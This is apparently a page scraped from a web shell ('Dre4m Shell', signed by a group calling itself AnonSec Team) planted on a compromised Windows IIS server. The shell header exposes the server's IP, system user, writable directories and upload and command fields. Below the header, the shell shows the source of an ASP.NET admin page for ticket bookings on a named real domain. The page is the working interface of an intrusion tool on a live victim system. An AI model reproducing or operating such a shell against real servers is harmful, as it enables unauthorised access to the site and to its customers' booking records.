Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.147.62.99
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/airzones/mpos.airzone.sg/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/airzones/mpos.airzone.sg/wwwroot/WB_OnlineBookingView.aspx
<%@ Page Language="C#" AutoEventWireup="true" MasterPageFile="~/APOS.Master" CodeBehind="WB_OnlineBookingView.aspx.cs"
    Inherits="Megazip.ViewOnlineBookingView" %>

<asp:Content ContentPlaceHolderID="Content_Admin" ID="Body" runat="server">
    <ul class="breadcrumb push-down-0">
        <li><a href="#">Web Site</a></li>
        <li class="active">Tickets Bookings View</li>
    </ul>

    <script type="text/javascript">
        var gridViewId = '#<%= BookingView.ClientID %>';
        function checkAll(selectAllCheckbox) {
            //get all checkbox and select it
            $('td :checkbox', gridViewId).prop("checked", selectAllCheckbox.checked);
        }
        function unCheckSelectAll(selectCheckbox) {
            //if any item is unchecked, uncheck header checkbox as also
            if (!selectCheckbox.checked)
                $('th :checkbox', gridViewId).prop("checked", false);
        }
    </script>

    <div class="page-content-wrap">
        <form id="Form1" runat="server">
        <!-- START PANELS WITH CONTROLS -->
        <div class="row">
            <div class="col-md-12">
                <div class="panel panel-success panel-hidden-controls">
                    <div class="panel-heading">
                        <h3 class="panel-title">
                            Tickets Bookings View</h3>
                        <ul class="panel-controls">
                            <li><a href="#" class="panel-fullscreen"><span class="fa fa-expand"></span></a></li>
                            <li class="dropdown"><a href="#" class="dropdown-toggle" data-toggle="dropdown"><span
                                class="fa fa-cog"></span></a>
                                <ul class="dropdown-menu">
                                    <li><a href="#" class="panel-collapse"><span class="fa fa-angle-down"></span>Collapse</a></li>
                                    <li><a href="#" class="panel-refresh"><span class="fa fa-refresh"></span>Refresh</a></li>
                                </ul>
                            </li>
                            <li><a href="#" class="panel-remove"><span class="fa fa-times"></span></a></li>
                        </ul>
                        <div class="pull-right">
                            <asp:DropDownList ID="ddlStatus" runat="server" class="form-control select" AutoPostBack="true"
                                OnSelectedIndexChanged="ddlStatus_SelectedIndexChanged">
                                <asp:ListItem Value="Confirm">Confirmed</asp:ListItem>
                                <asp:ListItem Value="Pending">Pending</asp:ListItem>
                            </asp:DropDownList>
                            <%--  <a href="MenuItem.aspx" class="btn btn-success">Add New</a>--%>
                        </div>
                    </div>
                    <div class="page-content-wrap table-responsive">
                        <div class="panel-body">
                            <asp:GridView ID="BookingView" runat="server" AutoPostBack="True"
                                DataKeyNames="BookingId" AutoGenerateColumns="False" BorderColor="IndianRed"
                                BorderStyle="Solid" BorderWidth="1px" EmptyDataText="No Records Found" Font-Bold="False"
                                Font-Names="Arial" Font-Size="12px"  CssClass="table datatable"
                                OnRowCommand="BookingView_RowCommand" OnRowDeleting="BookingView_RowDeleting"
                                OnRowEditing="BookingView_RowEditing" OnRowDataBound="BookingView_RowDataBound">
                                <Columns>
                                    <asp:TemplateField>
                                        <HeaderTemplate>
                                            <asp:CheckBox ID="cbSelectAll" onclick="checkAll(this);" runat="server" />&nbsp;
                                            All
                                        </HeaderTemplate>
                                        <ItemTemplate>
                                            <asp:CheckBox ID="cbSelect" onclick="unCheckSelectAll(this);" runat="server" />
                                        </ItemTemplate>
                                    </asp:TemplateField>
                                    <asp:BoundField DataField="BookingId" HeaderText="Booking ID"></asp:BoundField>
                                    <asp:BoundField DataField="Name" HeaderText="Name"></asp:BoundField>
                                    <asp:BoundField DataField="MailID" HeaderText="Email"></asp:BoundField>
                                    
                                    <asp:BoundField DataField="Status" HeaderText="Status"></asp:BoundField>
                                    <asp:TemplateField HeaderText="Action">
                                        <ItemTemplate>
                                            <asp:LinkButton ID="LinkButton1" runat="server" CommandArgument='<%# Eval("BookingId") %>'
                                                CssClass="btn btn-primary clickMe" CommandName="Edit">View</asp:LinkButton>
                                            
                                            <% if (ddlStatus.SelectedValue.ToString() == "Pending")
                                               {%>
                                            <asp:LinkButton ID="lbtnConfirm" runat="server" CommandArgument='<%# Eval("BookingId") %>' 
                                                CssClass="btn btn-primary clickMe" CommandName="Confirm">Confirm</asp:LinkButton>
                                            <%} %>                                            
                                        </ItemTemplate>
                                    </asp:TemplateField>
                                </Columns>
                                <PagerStyle BackColor="MistyRose" Font-Names="Arial" Font-Size="12px" ForeColor="Black"
                                    Height="20px" />
                                <HeaderStyle BackColor="MistyRose" Font-Names="Arial" Font-Size="12px" ForeColor="#00537F"
                                    Height="20px" />
                                <AlternatingRowStyle BackColor="#F7F3E8" />
                            </asp:GridView>
                        </div>
                    </div>
                    <div id="ConfirmBooking" runat="server">
                        <h3 class="panel-title panel-heading">
                            Ticket Booking Details</h3>
                        <div class="page-content-wrap table-responsive">
                            <div class="panel-body">
                                <asp:GridView ID="TicketBookingDetails" runat="server"  AutoPostBack="True"
                                    DataKeyNames="BookingId" AutoGenerateColumns="False" BorderColor="IndianRed"
                                    BorderStyle="Solid" BorderWidth="1px" EmptyDataText="No Records Found" Font-Bold="False"
                                    Font-Names="Arial" Font-Size="12px"  CssClass="table datatable">
                                    <Columns>
                                        <asp:BoundField DataField="BookingId" HeaderText="Booking ID"></asp:BoundField>
                                        <asp:BoundField DataField="ProductName" HeaderText="Product Name"></asp:BoundField>
                                        <asp:BoundField DataField="Date" HeaderText="Date"></asp:BoundField>
                                        <asp:BoundField DataField="SessionTime" HeaderText="SessionTime"></asp:BoundField>
                                        <asp:BoundField DataField="TicketPrice" HeaderText="Cost $"></asp:BoundField>
                                        <asp:BoundField DataField="NoTickets" HeaderText="NoTickets"></asp:BoundField>
                                        <asp:BoundField DataField="TotalTicketCost" HeaderText="TicketCost $"></asp:BoundField>
                                        <%--   <asp:BoundField DataField="userName" HeaderText="User Name"></asp:BoundField>--%>
                                        <%--<asp:TemplateField HeaderText="Edit">
                                            <ItemTemplate>
                                                <asp:LinkButton ID="LinkButton1" runat="server" class="btn btn-primary clickMe fa fa-edit"></asp:LinkButton>
                                            </ItemTemplate>
                                        </asp:TemplateField>--%>
                                    </Columns>
                                    <PagerStyle BackColor="MistyRose" Font-Names="Arial" Font-Size="12px" ForeColor="Black"
                                        Height="20px" />
                                    <HeaderStyle BackColor="MistyRose" Font-Names="Arial" Font-Size="12px" ForeColor="#00537F"
                                        Height="20px" />
                                    <AlternatingRowStyle BackColor="#F7F3E8" />
                                </asp:GridView>
                                <label type="text" style="font-weight: bold; margin-right: 12px; margin-top: 0px;
                                    margin-bottom: 6px; float: right; font-size: 12px;">
                                    No of Tickets Total:&nbsp;$&nbsp;<asp:Literal ID="ltrtotal" runat="server"></asp:Literal>.00</label>
                            </div>
                        </div>
                        <h3 class="panel-title panel-heading">
                            Product Add Ons</h3>
                        <div class="page-content-wrap table-responsive">
                            <div class="panel-body">
                                <asp:GridView ID="AddonsDetails" runat="server"  AutoPostBack="True"
                                    DataKeyNames="BookingId" AutoGenerateColumns="False" BorderColor="IndianRed"
                                    BorderStyle="Solid" BorderWidth="1px" EmptyDataText="No Records Found" Font-Bold="False"
                                    Font-Names="Arial" Font-Size="12px"  CssClass="table datatable">
                                    <Columns>
                                        <asp:BoundField DataField="BookingId" HeaderText="Booking ID"></asp:BoundField>
                                        <asp:BoundField DataField="ProductName" HeaderText="AddOn Name"></asp:BoundField>
                                        <asp:BoundField DataField="TicketPrice" HeaderText="Cost $"></asp:BoundField>
                                        <asp:BoundField DataField="NoTickets" HeaderText="Quantity"></asp:BoundField>
                                        <asp:BoundField DataField="TotalTicketCost" HeaderText="Total Cost $"></asp:BoundField>
                                    </Columns>
                                    <PagerStyle BackColor="MistyRose" Font-Names="Arial" Font-Size="12px" ForeColor="Black"
                                        Height="20px" />
                                    <HeaderStyle BackColor="MistyRose" Font-Names="Arial" Font-Size="12px" ForeColor="#00537F"
                                        Height="20px" />
                                    <AlternatingRowStyle BackColor="#F7F3E8" />
                                </asp:GridView>
                                <label type="text" style="font-weight: bold; margin-right: 12px; margin-top: 0px;
                                    margin-bottom: 6px; float: right; font-size: 12px;">
                                    AddOns Total:&nbsp;$&nbsp;<asp:Literal ID="Literal23" runat="server"></asp:Literal>.00</label>
                                <br />
                            </div>
                            <label type="text" style="font-weight: bold; margin-right: 27px; margin-top: 0px;
                                margin-bottom: 6px; float: right; font-size: 12px;">
                                Coupon Discount:&nbsp;$&nbsp;<asp:Literal ID="Literal3" runat="server"></asp:Literal>.00</label>
                        </div>
                        <br />
                        <label type="text" style="font-weight: bold; margin-right: 25px; margin-top: 0px;
                            margin-bottom: 6px; float: right; font-size: 16px;">
                            Grant Total:&nbsp;$&nbsp;<asp:Literal ID="Literal1" runat="server"></asp:Literal>.00</label>
                        <asp:Button ID="btnClose" runat="server" class="btn btn-success" Style="margin-left: 44%;
                            margin-bottom: 10px;" Text="Close" OnClick="btnClose_Click" />
                        <br />
                    </div>
                </div>
                <div id="Notification" runat="server" class="row">
                    <div class="form-group">
                        <div class="col-md-12 col-xs-12">
                            <div class="input-group pull-right">
                                <label type="text" style="font-weight: bold; font-size: 14px; margin-right: 10px;">
                                    Notification Mail</label>
                                <asp:Button ID="btnNotification" runat="server" class="btn btn-success" Text="Send"
                                    Style="margin-right: 23px;" OnClick="btnNotification_Click" />
                                &nbsp;
                                <%--<asp:Button ID="btnCancel" runat="server" class="btn btn-success" Text="Cancel" 
                                    />--%>
                            </div>
                        </div>
                    </div>
                </div>
                <div id="Reminder" runat="server" class="row">
                    <div class="form-group">
                        <div class="col-md-12 col-xs-12">
                            <div class="input-group pull-right">
                                <label type="text" style="font-weight: bold; font-size: 14px; margin-right: 10px;">
                                    Reminder Mail</label>
                                <asp:Button ID="btnReminder" runat="server" class="btn btn-success" Text="Send" Style="margin-right: 23px;"
                                    OnClick="btnReminder_Click" />
                                &nbsp;
                                <%--<asp:Button ID="btnCancel" runat="server" class="btn btn-success" Text="Cancel" 
                                    />--%>
                            </div>
                        </div>
                    </div>
                </div>
                <br />
                <br />
            </div>
        </div>
        </form>
    </div>
</asp:Content>

Anon7 - 2022
AnonSec Team